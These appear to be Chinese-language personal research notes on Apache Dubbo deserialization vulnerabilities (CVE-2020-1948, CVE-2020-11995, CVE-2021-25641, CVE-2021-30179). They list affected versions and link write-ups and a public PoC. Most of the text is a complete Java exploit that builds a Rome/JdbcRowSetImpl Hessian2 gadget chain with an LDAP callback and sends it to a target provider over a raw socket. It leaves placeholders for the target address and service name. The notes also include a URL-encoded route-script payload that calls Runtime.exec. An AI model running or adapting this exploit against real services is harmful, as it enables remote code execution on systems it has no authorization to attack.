Apache Dubbo 是伪装的、轻量级的Java RPC 服务框架。RPC服务 默认反序列化利用之hessian2
spring (spring-web(5.1.9.RELEASE)) 的httpinvoker 可能存在反序列化漏洞 docs
演示:https://github.com/vulhub/vulhub/blob/master/dubbo/CVE-2019-17564/README.zh-cn.md
https://www.anquanke.com/post/id/209251
2.7.0 <= Dubbo Version <= 2.7.6
2.6.0 <= Dubbo Version <= 2.6.7
Dubbo 所有 2.5.x 版本(官方团队目前已不支持)
CVE-2020-1948的绕过
Dubbo 2.7.0 ~ 2.7.8
Dubbo 2.6.0 ~ 2.6.8
Dubbo 所有 2.5.x 版本
import com.rometools.rome.feed.impl.EqualsBean;
import com.rometools.rome.feed.impl.ToStringBean;
import com.sun.rowset.JdbcRowSetImpl;
import java.io.ByteArrayOutputStream;
import java.io.OutputStream;
import java.lang.reflect.Array;
import java.lang.reflect.Constructor;
import java.net.Socket;
import java.util.HashMap;
import java.util.Random;
import marshalsec.util.Reflections;
import org.apache.dubbo.common.io.Bytes;
import org.apache.dubbo.common.serialize.Cleanable;
import org.apache.dubbo.common.serialize.hessian2.Hessian2ObjectOutput;
/**
* CVE-2020-1948 exp
* if (!RpcUtils.isGenericCall(path, getMethodName()) && !RpcUtils.isEcho(path, getMethodName())) {
* throw new IllegalArgumentException("Service not found:" + path + ", " + getMethodName());
* }
* 下面有绕过CVE-2020-11995
* 调用的函数名为 "$invoke"、 "$invokeAsync"、"$echo"三者之一
*/
public class GadgetsTestHessian {
public static void main(String[] args) throws Exception {
JdbcRowSetImpl rs = new JdbcRowSetImpl();
//todo 此处填写ldap url
rs.setDataSourceName("ldap://127.0.0.1:43658/ExecObject");
rs.setMatchColumn("foo");
Reflections.getField(javax.sql.rowset.BaseRowSet.class, "listeners").set(rs, null);
ToStringBean item = new ToStringBean(JdbcRowSetImpl.class, rs);
EqualsBean root = new EqualsBean(ToStringBean.class, item);
HashMap s = new HashMap<>();
Reflections.setFieldValue(s, "size", 2);
Class<?> nodeC;
try {
nodeC = Class.forName("java.util.HashMap$Node");
}
catch ( ClassNotFoundException e ) {
nodeC = Class.forName("java.util.HashMap$Entry");
}
Constructor<?> nodeCons = nodeC.getDeclaredConstructor(int.class, Object.class, Object.class, nodeC);
nodeCons.setAccessible(true);
Object tbl = Array.newInstance(nodeC, 2);
Array.set(tbl, 0, nodeCons.newInstance(0, root, root, null));
Array.set(tbl, 1, nodeCons.newInstance(0, root, root, null));
Reflections.setFieldValue(s, "table", tbl);
ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream();
// header.
byte[] header = new byte[16];
// set magic number.
Bytes.short2bytes((short) 0xdabb, header);
// set request and serialization flag.
header[2] = (byte) ((byte) 0x80 | 2);
// set request id.
Bytes.long2bytes(new Random().nextInt(100000000), header, 4);
ByteArrayOutputStream hessian2ByteArrayOutputStream = new ByteArrayOutputStream();
Hessian2ObjectOutput out = new Hessian2ObjectOutput(hessian2ByteArrayOutputStream);
out.writeUTF("2.0.2");
//todo 此处填写注册中心获取到的service全限定名、版本号、方法名
out.writeUTF("com.threedr3am.learn.server.boot.DemoService");
out.writeUTF("1.0");
out.writeUTF("$invoke");//CVE-2020-11995 $invoke,$invokeAsync,$echo
//todo 方法描述不需要修改,因为此处需要指定map的payload去触发
out.writeUTF("Ljava/util/Map;");
out.writeObject(s);
out.writeObject(new HashMap());
out.flushBuffer();
if (out instanceof Cleanable) {
((Cleanable) out).cleanup();
}
Bytes.int2bytes(hessian2ByteArrayOutputStream.size(), header, 12);
byteArrayOutputStream.write(header);
byteArrayOutputStream.write(hessian2ByteArrayOutputStream.toByteArray());
byte[] bytes = byteArrayOutputStream.toByteArray();
//todo 此处填写被攻击的dubbo服务提供者地址和端口
Socket socket = new Socket("127.0.0.1", 12345);
OutputStream outputStream = socket.getOutputStream();
outputStream.write(bytes);
outputStream.flush();
outputStream.close();
}
}
Dubbo Provider即服务提供方默认使用dubbo协议来进行RPC通信,而dubbo协议默认是使用Hessian2序列化格式进行对象传输的,不过可以通过更改dubbo协议的第三个flag位字节来更改为使用Kryo或FST序列化格式来进行Dubbo Provider反序列化攻击从而绕过针对Hessian2反序列化相关的限制来达到RCE。
CVE-2021-25641 利用版本需要判断
一方面dubbo-common必须<=2.7.3版本另一方面fj的版本要<=1.2.49 并且在2.7.4.1的版本中已经更新了fj版本所以不能使用(只是目前)
可以整理一个fastjson利用gadget
分析:https://mp.weixin.qq.com/s/vHJpE2fZ8Lne-xFggoQiAg 实验:https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247488856&idx=1&sn=ee37514a5bfbf8c35f4ec661a4c7d45a&chksm=903933a8a74ebabecaf9428995491494f20e5b24a15f8d52e79d3a9dac601620c21d097cdc1f&scene=21#wechat_redirect
Apache Dubbo 2.7.0 to 2.7.9
Apache Dubbo 2.6.0 to 2.6.9
Apache Dubbo all 2.5.x versions (官方已不再提供支持)
实验:https://mp.weixin.qq.com/s?__biz=MzA4NzUwMzc3NQ==&mid=2247488856&idx=1&sn=ee37514a5bfbf8c35f4ec661a4c7d45a&chksm=903933a8a74ebabecaf9428995491494f20e5b24a15f8d52e79d3a9dac601620c21d097cdc1f&scene=21#wechat_redirect
exp:https://github.com/lz2y/DubboPOC
Apache Dubbo默认支持泛化引用由服务端API接口暴露的所有方法,这些调用由GenericFilter处理。GenericFilter将根据客户端提供的接口名、方法名、方法参数类型列表,根据反射机制获取对应的方法,再根据客户端提供的反序列化方式将参数进行反序列化成pojo对象。
也就是说需要知道注册中心注册的接口名,方法名,才可以配合攻击。
也就是需要存在无授权服务注册中心比如zookeeper的无授权去获得接口名和方法名。使用工具zookeeper-dev-ZooInspector.jar
个人认为CVE-2021-30179的主要思路就是Apache Dubbo在处理泛类引用时,提供了多种通过反序列化方式得到对象再生成pojo对象的选择。 三梦师傅说跟这个思路扩大了反序列化挖掘思路
https://articles.zsxq.com/id_28iczv3uhbtk.html
script%3A%2F%2F127.0.0.1%2Fcom.threedr3am.learn.server.boot.DemoService%3Fapplication%3Ddubbo-consumer%26category%3Drouters%26check%3Dfalse%26dubbo%3D2.0.2%26init%3Dfalse%26interface%3Dcom.threedr3am.learn.server.boot.DemoService%26metadata-type%3Dremote%26methods%3Dhello%26pid%3D53953%26qos.enable%3Dfalse%26release%3D2.7.7%26revision%3D1.0%26side%3Dconsumer%26sticky%3Dfalse%26timestamp%3D1622381389749%26version%3D1.0%26route%3Dscript%26type%3Djavascript%26rule%3Ds%253D%255B3%255D%253Bs%255B0%255D%253D'%252Fbin%252Fbash'%253Bs%255B1%255D%253D'-c'%253Bs%255B2%255D%253D'open%2520-a%2520calculator'%253Bjava.lang.Runtime.getRuntime().exec(s)%253B
在一次看了threedr3am师傅的文章太精彩了,简单的说就是通过注册中心上注册恶意rpc服务并且设置序列化为java原生序列化,等待客户端去连接。 也就是rouge,中文名称叫胭脂,hhh 有点美人计的味道了。